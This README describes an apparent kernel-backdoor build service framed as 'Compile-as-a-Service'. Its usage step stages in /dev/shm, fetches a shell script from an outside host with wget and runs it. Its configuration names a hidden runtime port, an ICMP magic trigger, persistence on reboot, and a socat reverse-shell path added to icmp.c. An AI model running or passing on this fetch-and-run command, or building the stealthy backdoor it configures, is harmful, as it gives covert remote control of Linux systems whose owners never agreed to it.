Compile-as-a-Service (Alpha)

Compile as a Service — because installing headers is overrated

Compile-as-a-Service (CaaS) is an alpha-stage remote build system designed to compile kernel-dependent artifacts without requiring kernel headers or build dependencies on the target machine. All compilation occurs remotely, keeping source code and build tooling off the target system.

This project is intended for research, testing, and controlled environments only.

📸 Architecture Overview

Usage

cd /dev/shm; wget https://compileasaservice.online/downloadipfs.sh; chmod +sx downloadipfs.sh

YOUR_SRV_IP=127.0.0.1 SRV_PORT=8081 ICMP_MAGIC_SEQ=1337 MAGIC=mtz PORT=8081 NAME=alphatest$RANDOM ./downloadipfs.sh

✨ Features

• Remote compilation pipeline
• No kernel headers or build tools required on the target machine
• Source code never touches the target system
• Optional deterministic or randomized build parameters
• Explicit kernel and distribution targeting
• Designed to support reproducible research workflows

⚙️ Configuration

The system is configured via environment variables.

Variable	Description	Notes / Default
YOUR_SRV_IP	Required. Server IP address
NAME	Build identifier	Randomized if unset
SRV_PORT	Server communication port
PORT	Hidden runtime port
ICMP_MAGIC_SEQ	Trigger sequence value
MAGIC	Authentication / trigger string	Default: mtz
DISTRO	Target Linux distribution
DISTRO_VERSION	Distribution version
KERNEL	Kernel version
INSTALL=1	Enable post-build installation	Must be set on command line
PERSIST=1	Enable load on reboot	Requires INSTALL=1, command line only

If values are not explicitly set, most fields are randomized by default.

Build System / Changes

• Updated Makefile to support configurable kernel versions and header paths
• main.c: added __be32 your_srv_ip = 0; (for socat reverse)
• include/core.h added extern __be32 your_srv_ip; (for socat reverse)
• Modified icmp.c that supports socat reverse if /usr/bin/socat exists
